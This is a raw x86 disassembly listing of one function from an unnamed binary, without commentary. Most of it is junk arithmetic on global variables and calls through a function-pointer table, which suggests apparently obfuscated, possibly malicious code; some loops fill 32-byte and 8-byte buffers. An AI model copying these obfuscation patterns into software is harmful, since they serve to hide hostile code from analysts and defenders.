mov eax, dword [0x410ec0]
add eax, 0x61d4c5b8
mov dword [0x410c08], eax
jmp 0x407f13
inc edx
jmp 0x407ef2
mov dword [ebp - 0x524], 0x208
mov eax, dword [0x410ec0]
mov dword [ebp - 0x520], 0x208
or eax, 0xefc1a6e5
mov dword [0x410b28], eax
mov dword [esp + 4], 0x400
mov dword [esp], 0x40
mov eax, dword [0x40f970]
call dword [eax + 0x50]
push ecx
mov ebx, eax
lea eax, [ebp - 0x524]
push ecx
mov dword [esp + 4], eax
mov dword [esp], edi
mov eax, dword [0x40f970]
call dword [eax + 0xec]
push edx
push edx
test eax, eax
je 0x408385
lea eax, [ebp - 0x520]
mov dword [esp], esi
mov dword [esp + 4], eax
mov eax, dword [0x40f970]
call dword [eax + 0xb4]
push edx
push edx
test eax, eax
je 0x408385
lea eax, [ebp - 0x507]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [0x40f970]
call dword [eax + 0xd4]
mov edx, dword [ebp - 0x52c]
mov dword [ebp - 0x540], edx
mov dword [esp], ebx
call fcn.0040bc18
mov edx, dword [ebp - 0x540]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.004043dc
mov dword [ebp - 0x528], eax
test ebx, ebx
je 0x4080ad
xor eax, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00405d6c
mov edx, str.threadId
mov ecx, 0x1291
movsx eax, byte [edx]
inc edx
test al, al
je 0x408024
add ecx, eax
cmp ecx, 0x25ac
jbe 0x40800d
call fcn.0040df04
mov eax, dword [0x410ec0]
mov edx, dword [0x410b28]
add eax, 0x86313b6
mov dword [0x410c5c], eax
mov eax, edx
xor eax, 0x81857f72
cmp byte [0x411138], 0
mov dword [0x410f68], eax
je 0x40806b
mov dword [ebp - 0x540], edx
call fcn.0040d028
mov edx, dword [ebp - 0x540]
xor edx, 0x3e89255e
mov dword [0x410da4], edx
mov eax, dword [0x410da4]
sub eax, 0x4c1247f2
mov dword [0x410c5c], eax
or eax, 0x95105815
mov dword [0x410f68], eax
mov dword [esp + 8], str.ks_Arab
mov eax, dword [0x410c08]
mov dword [esp], 0x4116ac
mov dword [esp + 4], eax
call fcn.0040d638
mov dword [esp], ebx
mov eax, dword [0x40f970]
call dword [eax + 0x58]
push eax
test edi, edi
je 0x4080d5
mov eax, dword [ebp - 0x524]
mov dword [esp], edi
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
call fcn.00405d6c
mov dword [esp], edi
mov eax, dword [0x40f970]
call dword [eax + 0x58]
push eax
test esi, esi
je 0x40810c
mov eax, dword [ebp - 0x520]
xor ebx, ebx
mov dword [esp], esi
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
call fcn.00405d6c
mov dword [esp], esi
mov eax, dword [0x40f970]
call dword [eax + 0x58]
push esi
mov eax, dword [0x410da4]
or eax, 0x7f36546
mov dword [0x410f68], eax
mov eax, dword [0x410da4]
lea edi, [ebp - 0x52c]
and eax, 0xb66d9b18
mov dword [0x410c08], eax
lea eax, [ebp - 0x528]
mov dword [esp], eax
call fcn.00409be4
mov dword [esp], edi
mov esi, eax
call fcn.00409be4
mov dword [esp], edi
call fcn.00409be4
mov ebx, eax
mov eax, dword [0x410da4]
imul edx, eax, 0x3a9ed640
and eax, 0x4f3eaa3b
mov dword [0x410b28], eax
mov dword [0x410ec0], edx
mov dword [esp], edi
call fcn.00409be4
mov ecx, dword [ebp - 0x53c]
inc dword [ebp - 0x53c]
cmp dword [ebp - 0x53c], 8
mov byte [ebp + ecx - 0x4c4], al
jne 0x40815e
mov edx, 0x41281c
mov ecx, 0x828
movsx eax, byte [edx]
inc edx
test al, al
je 0x4081a8
add ecx, eax
cmp ecx, 0x1700
jbe 0x40818c
add dword [0x410da4], 0x14910406
mov eax, dword [0x410c08]
xor eax, 0xb827b499
mov dword [0x410c5c], eax
call fcn.0040d028
mov edi, dword [0x40f970]
mov dword [esp], 0x208
call fcn.00405d90
mov dword [edi + 0x13c], eax
mov eax, dword [0x40f970]
mov edx, dword [eax + 0x13c]
test edx, edx
je 0x408391
mov ecx, dword [ebp - 0x4c0]
movzx ebx, bx
mov dword [esp + 8], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ecx
lea ecx, [ebp - 0x4a4]
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [eax + 0xc4]
mov ebx, dword [0x40f970]
cmp dword [ebx + 0x158], 0
je 0x408294
call fcn.00409ef8
mov ecx, 0x19
xor edx, edx
mov ebx, dword [0x40f970]
div ecx
mov eax, dword [0x410da4]
mov esi, dword [ebx + 0x1a0]
or eax, 0xbe30fbaf
mov dword [0x410c08], eax
mov eax, dword [esi + 0x20]
mov dword [ebx + 0x144], eax
imul eax, dword [0x410ec0], 0x8ea072de
sub eax, 0x5afb71fc
mov dword [0x410b28], eax
mov dword [ebx + 0x15c], edx
call fcn.0040d028
xor ecx, ecx
imul eax, dword [0x410f68], 0xc8d90106
mov dword [0x410ec0], eax
mov eax, dword [esi + 0x24]
mov dword [ebx + 0x140], ecx
mov dword [ebx + 0x148], eax
jmp 0x408391
mov edx, 0x411138
mov al, byte [edx]
test al, al
je 0x4082b5
sub eax, 0x30
cmp al, 9
jbe 0x4082b2
add dword [0x410c5c], 0x2231f70f
jmp 0x4082b5
inc edx
jmp 0x408299
mov eax, dword [0x410b28]
and eax, 0xd14dbce7
mov dword [0x410da4], eax
call fcn.0040d574
mov dword [esp + 4], 0x20
mov dword [esp], 0x40
call dword [ebx + 0x50]
push edx
push edx
mov dword [ebx + 0x158], eax
xor ebx, ebx
mov edx, 0x4116ac
mov ecx, 0x1319
movzx eax, byte [edx]
inc edx
test al, al
je 0x408343
add ecx, eax
cmp ecx, 0x1718
jbe 0x4082ef
mov dword [esp + 8], str.ks_Arab
mov eax, dword [0x410c5c]
mov dword [esp], str.threadId
mov dword [esp + 4], eax
call fcn.0040d638
imul eax, dword [0x410ec0], 0x64277836
mov dword [0x410da4], eax
call fcn.0040d574
mov eax, dword [0x410f68]
and eax, 0x3a81e333
mov dword [0x410c5c], eax
jmp 0x408352
mov eax, dword [0x410ec0]
sub eax, 0x6a26cebe
mov dword [0x410da4], eax
mov eax, dword [0x410ec0]
sub eax, 0x602803fe
mov dword [0x410c08], eax
call fcn.00409ef8
mov edx, eax
mov eax, dword [0x40f970]
mov eax, dword [eax + 0x158]
mov byte [eax + ebx], dl
inc ebx
cmp ebx, 0x20
jne 0x4082e5
jmp 0x40821e
mov eax, dword [0x40f970]
mov dword [eax + 8], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret